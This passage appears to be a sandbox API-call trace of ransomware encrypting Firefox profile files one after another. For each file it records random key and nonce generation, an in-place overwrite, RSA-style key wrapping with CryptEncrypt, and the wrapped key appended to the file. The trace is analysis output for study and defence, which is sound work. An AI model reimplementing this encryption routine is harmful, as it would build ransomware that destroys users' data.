hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.649] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.649] CloseHandle (hObject=0x1a24) returned 1 [0176.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.669] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", dwFileAttributes=0x80) returned 1 [0176.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6f738 [0176.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d768 [0176.669] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x292e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x292e, lpOverlapped=0x0) returned 1 [0176.677] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-10542, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.677] WriteFile (in: hFile=0x1a24, lpBuffer=0x30d7968*, nNumberOfBytesToWrite=0x292e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7968*, lpNumberOfBytesWritten=0x2e1f9bc*=0x292e, lpOverlapped=0x0) returned 1 [0176.678] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x292e [0176.678] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.678] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.678] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.679] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.679] CloseHandle (hObject=0x1a24) returned 1 [0176.681] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.681] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0176.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", dwFileAttributes=0x80) returned 1 [0176.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6f738 [0176.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61cc78 [0176.684] ReadFile (in: hFile=0x1a24, lpBuffer=0x6f7020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f7020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0176.730] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.730] WriteFile (in: hFile=0x1a24, lpBuffer=0x3526020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3526020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0176.736] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0176.736] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.737] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.738] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.738] CloseHandle (hObject=0x1a24) returned 1 [0176.740] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.740] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.740] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", dwFileAttributes=0x80) returned 1 [0176.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67148 [0176.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578cc8 [0176.741] ReadFile (in: hFile=0x1a24, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x38000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x38000, lpOverlapped=0x0) returned 1 [0176.755] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-229376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.755] WriteFile (in: hFile=0x1a24, lpBuffer=0x343a010*, nNumberOfBytesToWrite=0x38000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x38000, lpOverlapped=0x0) returned 1 [0176.756] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x38000 [0176.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.757] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.757] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.757] CloseHandle (hObject=0x1a24) returned 1 [0176.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.759] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", dwFileAttributes=0x80) returned 1 [0176.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6fe68 [0176.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d998 [0176.759] ReadFile (in: hFile=0x1a24, lpBuffer=0x555b90, nNumberOfBytesToRead=0x329, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x329, lpOverlapped=0x0) returned 1 [0176.771] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-809, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.771] WriteFile (in: hFile=0x1a24, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x329, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x329, lpOverlapped=0x0) returned 1 [0176.772] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x329 [0176.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.772] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.773] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.773] CloseHandle (hObject=0x1a24) returned 1 [0176.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.774] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini", dwFileAttributes=0x80) returned 1 [0176.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67468 [0176.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x5784b0 [0176.775] ReadFile (in: hFile=0x1a24, lpBuffer=0x5823f8, nNumberOfBytesToRead=0xc7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5823f8*, lpNumberOfBytesRead=0x2e1f9bc*=0xc7, lpOverlapped=0x0) returned 1 [0176.775] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-199, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.775] WriteFile (in: hFile=0x1a24, lpBuffer=0x583028*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583028*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc7, lpOverlapped=0x0) returned 1 [0176.776] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc7 [0176.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.776] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.776] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.776] CloseHandle (hObject=0x1a24) returned 1 [0176.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.787] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", dwFileAttributes=0x80) returned 1 [0176.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6ea48 [0176.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0176.788] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x10000, lpOverlapped=0x0) returned 1 [0176.797] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-65536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.797] WriteFile (in: hFile=0x1a24, lpBuffer=0x30e5038*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10000, lpOverlapped=0x0) returned 1 [0176.798] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10000 [0176.798] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.798] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.798] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.799] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.799] CloseHandle (hObject=0x1a24) returned 1 [0176.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.801] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", dwFileAttributes=0x80) returned 1 [0176.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6f0c0 [0176.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0176.802] ReadFile (in: hFile=0x1a24, lpBuffer=0x343a010, nNumberOfBytesToRead=0x44669, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x44669, lpOverlapped=0x0) returned 1 [0176.815] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-280169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.815] WriteFile (in: hFile=0x1a24, lpBuffer=0x347e688*, nNumberOfBytesToWrite=0x44669, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347e688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44669, lpOverlapped=0x0) returned 1 [0176.819] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44669 [0176.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.819] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.820] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.820] CloseHandle (hObject=0x1a24) returned 1 [0176.821] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.821] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0176.821] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", dwFileAttributes=0x80) returned 1 [0176.822] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66fb8 [0176.822] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578388 [0176.822] ReadFile (in: hFile=0x1a24, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0176.822] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.822] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0176.822] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0176.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.822] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.823] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.823] CloseHandle (hObject=0x1a24) returned 1 [0176.825] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.825] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0176.825] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4", dwFileAttributes=0x80) returned 1 [0176.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67850 [0176.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x5785d8 [0176.825] ReadFile (in: hFile=0x1a24, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x291, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x291, lpOverlapped=0x0) returned 1 [0176.831] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-657, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.831] WriteFile (in: hFile=0x1a24, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x291, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x291, lpOverlapped=0x0) returned 1 [0176.831] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x291 [0176.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.832] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.832] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.832] CloseHandle (hObject=0x1a24) returned 1 [0176.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0176.834] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", dwFileAttributes=0x80) returned 1 [0176.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6ee98 [0176.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0176.836] ReadFile (in: hFile=0x1a24, lpBuffer=0x583970, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583970*, lpNumberOfBytesRead=0x2e1f9bc*=0x18, lpOverlapped=0x0) returned 1 [0176.837] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.837] WriteFile (in: hFile=0x1a24, lpBuffer=0x583790*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583790*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18, lpOverlapped=0x0) returned 1 [0176.837] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18 [0176.837] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.837] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.837] 